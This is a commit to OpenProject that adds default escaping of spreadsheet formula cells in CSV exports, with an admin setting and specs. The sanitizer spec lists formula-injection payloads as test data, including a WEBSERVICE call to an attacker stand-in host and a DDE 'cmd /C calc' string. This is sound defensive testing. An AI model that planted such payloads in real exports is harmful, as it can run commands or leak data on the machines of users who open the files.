Escape CSV formula cells by default

This commit is contained in:
Oliver Günther
2026-06-01 08:36:03 +02:00
parent ba80c908ca
commit 1f3da064ac
18 changed files with 473 additions and 14 deletions
@@ -0,0 +1,35 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
module Admin::Settings
class ExportsSettingsController < ::Admin::SettingsController
menu_item :settings_exports
end
end
@@ -0,0 +1,49 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
module Admin
module Settings
class ExportsSettingsForm < ApplicationForm
settings_form do |sf|
sf.text_field(
name: :work_packages_projects_export_limit,
type: :number,
input_width: :xsmall,
caption: I18n.t(:setting_work_packages_projects_export_limit_text)
)
sf.check_box(
name: :csv_escape_formulas,
caption: I18n.t(:setting_csv_escape_formulas_text)
)
end
end
end
end
@@ -82,12 +82,6 @@ module Admin
input_width: :xsmall
)
sf.text_field(
name: :work_packages_projects_export_limit,
type: :number,
input_width: :xsmall
)
sf.text_field(
name: :file_max_size_displayed,
type: :number,
+2 -1
View File
@@ -47,7 +47,8 @@ module Exports
def encode_csv_columns(columns, encoding = I18n.t(:general_csv_encoding))
columns.map do |cell|
Redmine::CodesetUtil.from_utf8(cell.to_s, encoding)
sanitized = Exports::Concerns::CSVFormulaSanitization.sanitize(cell)
Redmine::CodesetUtil.from_utf8(sanitized, encoding)
end
end
@@ -0,0 +1,76 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
module Exports
module Concerns
# Escape cells that begin with a spreadsheet formula-triggering character,
# if the +csv_escape_formulas+ setting is active.
module CSVFormulaSanitization
module_function
# Leading characters that always indicate a formula and will always be escaped
ALWAYS_ESCAPE = %W[= @ \t \r].freeze
# Leading characters that trigger formula evaluation but may also legitimately
# be a number (negative/positive values).
POSSIBLE_NUMBER_START = %w[- +].freeze
# A single, optionally signed number as it appears in exported cells:
# thousands/decimal separators, optional surrounding whitespace and an
# optional currency symbol or percent sign (e.g. "-5.00", "-1.234,56 €").
# Anything with an internal operator (e.g. "+1+1") or letters/parentheses
# fails this match and will be treated as a formula again
PLAIN_NUMBER = /\A[+-]?[\p{Sc}\s]*\d[\d.,'\s]*[\p{Sc}%]?\z/u
# Escape a single CSV cell value if the setting is active
#
# @param value [Object] the raw cell value
# @return [String] the (possibly escaped) string value
def sanitize(value)
str = value.to_s
return str unless needs_escaping?(str)
"'#{str}"
end
def needs_escaping?(str)
return false unless Setting.csv_escape_formulas?
return false if str.empty?
first = str[0]
return true if ALWAYS_ESCAPE.include?(first)
return false unless POSSIBLE_NUMBER_START.include?(first)
# Leading - or +: only escape when the value is not a plain signed number.
!str.match?(PLAIN_NUMBER)
end
end
end
end
@@ -0,0 +1,56 @@
<%#-- copyright
OpenProject is an open source project management software.
Copyright (C) the OpenProject GmbH
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License version 3.
OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
Copyright (C) 2006-2013 Jean-Philippe Lang
Copyright (C) 2010-2013 the ChiliProject Team
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
See COPYRIGHT and LICENSE files for more details.
++#%>
<% html_title t(:label_administration), t(:label_export_plural) %>
<%=
render(Primer::OpenProject::PageHeader.new) do |header|
header.with_title { t(:label_export_plural) }
header.with_breadcrumbs(
[{ href: admin_index_path, text: t("label_administration") },
{ href: admin_settings_general_path, text: t(:label_system_settings) },
t(:label_export_plural)]
)
end
%>
<%=
settings_primer_form_with(
url: admin_settings_exports_path,
scope: :settings,
method: :patch
) do |f|
render(
Primer::Forms::FormList.new(
Admin::Settings::ExportsSettingsForm.new(f),
Admin::Settings::Save.new(f)
)
)
end
%>
+4
View File
@@ -316,6 +316,10 @@ module Settings
cross_project_work_package_relations: {
default: true
},
csv_escape_formulas: {
default: true,
description: "Escapes cells with single quote in CSV exports that begin with a spreadsheet formula character (e.g., =,@)"
},
database_cipher_key: {
description: "Encryption key for repository credentials",
format: :string,
+6
View File
@@ -549,6 +549,12 @@ Redmine::MenuManager.map :admin_menu do |menu|
caption: :label_external_links,
parent: :settings
menu.push :settings_exports,
{ controller: "/admin/settings/exports_settings", action: :show },
if: ->(_) { User.current.admin? },
caption: :label_export_plural,
parent: :settings
menu.push :settings_repositories,
{ controller: "/admin/settings/repositories_settings", action: :show },
if: ->(_) { User.current.admin? },
+1
View File
@@ -89,6 +89,7 @@ OpenProject::Inflector.inflection(
"sha1" => "SHA1",
"sso" => "SSO",
"csv" => "CSV",
"csv_formula_sanitization" => "CSVFormulaSanitization",
"pdf" => "PDF",
"scm" => "SCM",
"imap" => "IMAP",
+11
View File
@@ -4228,6 +4228,7 @@ en:
label_journal_diff: "Description Comparison"
label_language: "Language"
label_languages: "Languages"
label_export_plural: "Exports"
label_external_links: "External links"
label_locale: "Language and region"
label_jump_to_a_project: "Jump to a project..."
@@ -5401,6 +5402,13 @@ en:
setting_consent_required: "Consent required"
setting_consent_decline_mail: "Consent contact mail address"
setting_cross_project_work_package_relations: "Allow cross-project work package relations"
setting_csv_escape_formulas: "Escape formulas in CSV exports"
setting_csv_escape_formulas_text: >
Escape spreadsheet formulas in CSV exports by prefixing cells that begin
with characters such as =, +, -, or @ with a single quote. This mitigates CSV
formula injection when exported files are opened in spreadsheet applications such as Excel.
This comes at the downside of modifying the string values inside the CSV,
so you may want to disable this if downstream tools require the exact, unescaped cell values.
setting_first_week_of_year: "First week in year contains"
setting_date_format: "Date"
setting_default_language: "Default language"
@@ -5448,6 +5456,9 @@ en:
setting_work_package_properties: "Work package properties"
setting_work_package_startdate_is_adddate: "Use current date as start date for new work packages"
setting_work_packages_projects_export_limit: "Work packages / Projects export limit"
setting_work_packages_projects_export_limit_text: >
Maximum number of work packages or projects that can be included in a single
export. Larger exports are truncated to this limit.
setting_journal_aggregation_time_minutes: "Aggregation period"
setting_log_requesting_user: "Log user login, name, and mail address for all requests"
setting_login_required: "Authentication required"
+1
View File
@@ -669,6 +669,7 @@ Rails.application.routes.draw do
resource :general, controller: "/admin/settings/general_settings", only: %i[show update]
resource :languages, controller: "/admin/settings/languages_settings", only: %i[show update]
resource :external_links, controller: "/admin/settings/external_links_settings", only: %i[show update]
resource :exports, controller: "/admin/settings/exports_settings", only: %i[show update]
resource :repositories, controller: "/admin/settings/repositories_settings", only: %i[show update]
resource :experimental, controller: "/admin/settings/experimental_settings", only: %i[show update]
@@ -38,7 +38,7 @@ module BudgetsHelper
User.current.allowed_in_project?(:edit_budgets, @project)
end
def budgets_to_csv(budgets)
def budgets_to_csv(budgets) # rubocop:disable Metrics/AbcSize
CSV.generate(col_sep: t(:general_csv_separator)) do |csv|
# csv header fields
headers = [
@@ -54,7 +54,7 @@ module BudgetsHelper
Budget.human_attribute_name(:updated_at),
Budget.human_attribute_name(:description)
]
csv << headers.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
csv << headers.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
# csv lines
budgets.each do |budget|
fields = [
@@ -70,7 +70,7 @@ module BudgetsHelper
format_time(budget.updated_at),
budget.description
]
csv << fields.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
csv << fields.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
end
end
end
@@ -52,6 +52,24 @@ RSpec.describe BudgetsHelper do
expect(budgets_to_csv([budget]).include?(expected)).to be_truthy
end
context "with a formula-injection payload in user-controlled fields",
with_settings: { csv_escape_formulas: true } do
let(:budget) do
build(:budget,
project:,
subject: "=1+1",
description: '=HYPERLINK("https://example.com","x")')
end
it "escapes the formula value by prepending a single quote" do
csv = budgets_to_csv([budget])
expect(csv).to include("'=1+1")
expect(csv).to include(%('=HYPERLINK))
expect(csv).not_to match(/(?<!')=1\+1/)
end
end
it "starts with a header explaining the fields" do
expected = [
"#",
@@ -0,0 +1,39 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
require "spec_helper"
RSpec.describe Admin::Settings::ExportsSettingsController do
shared_let(:user) { create(:admin) }
current_user { user }
include_examples "GET #show requires admin permission and renders template", path: "exports_settings"
end
@@ -0,0 +1,52 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
require "rails_helper"
RSpec.describe Admin::Settings::ExportsSettingsForm, type: :forms do
include_context "with rendered form"
let(:form_arguments) { { url: "/foo", model: false, scope: :settings } }
subject(:rendered_form) do
vc_render_form
page
end
it "renders the export settings fields", :aggregate_failures do
expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
end
expect(rendered_form).to have_field "Escape formulas in CSV exports", type: :checkbox do |field|
expect(field["name"]).to eq "settings[csv_escape_formulas]"
end
end
end
@@ -74,10 +74,6 @@ RSpec.describe Admin::Settings::GeneralSettingsForm, type: :forms do
expect(field["name"]).to eq "settings[feeds_limit]"
end
expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
end
expect(rendered_form).to have_field "Max size of text files displayed inline", type: :number,
accessible_description: "kB" do |field|
expect(field["name"]).to eq "settings[file_max_size_displayed]"
@@ -0,0 +1,102 @@
# frozen_string_literal: true
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See COPYRIGHT and LICENSE files for more details.
#++
require "spec_helper"
RSpec.describe Exports::Concerns::CSVFormulaSanitization do
subject(:sanitize) { described_class.sanitize(value) }
context "when escaping is enabled (default)", with_settings: { csv_escape_formulas: true } do
context "with formula-leading values" do
[
"=1+1",
'=HYPERLINK("https://example.com","x")',
"=WEBSERVICE(\"http://attacker.example\")",
"@SUM(A1:A2)",
"+1+1",
"-1+cmd|' /C calc'!A0",
"\t=1+1",
"\r=1+1"
].each do |dangerous|
context "with #{dangerous.inspect}" do
let(:value) { dangerous }
it "prepends a single quote" do
expect(sanitize).to eq("'#{dangerous}")
end
end
end
end
context "with plain numbers and dates (numeric guard)" do
["-5.00", "+5.00", "-1234.56", "-1.234,56 €", "2026-05-31", "0", "42"].each do |benign|
context "with #{benign.inspect}" do
let(:value) { benign }
it "leaves the value untouched" do
expect(sanitize).to eq(benign)
end
end
end
end
context "with ordinary text" do
let(:value) { "Implement login screen" }
it "leaves the value untouched" do
expect(sanitize).to eq("Implement login screen")
end
end
context "with a blank value" do
let(:value) { "" }
it "leaves the value untouched" do
expect(sanitize).to eq("")
end
end
context "with a non-string value" do
let(:value) { 42 }
it "returns its string form untouched" do
expect(sanitize).to eq("42")
end
end
end
context "when escaping is disabled", with_settings: { csv_escape_formulas: false } do
let(:value) { "=1+1" }
it "leaves dangerous values untouched" do
expect(sanitize).to eq("=1+1")
end
end
end
@@ -114,6 +114,24 @@ RSpec.describe WorkPackage::Exports::CSV, "integration" do
]
end
end
context "with a formula-injection payload in user-controlled fields",
with_settings: { csv_escape_formulas: true } do
shared_let(:work_package) do
create(:work_package,
subject: "=1+1",
description: '=HYPERLINK("https://example.com","x")',
type: type_a,
project:)
end
it "escapes the formula cell by prepending a single quote" do
pairs = header_value_pairs.to_h
expect(pairs["Subject"]).to eq("'=1+1")
expect(pairs["Description"]).to eq(%('=HYPERLINK("https://example.com","x")))
end
end
end
context "with multiple work packages" do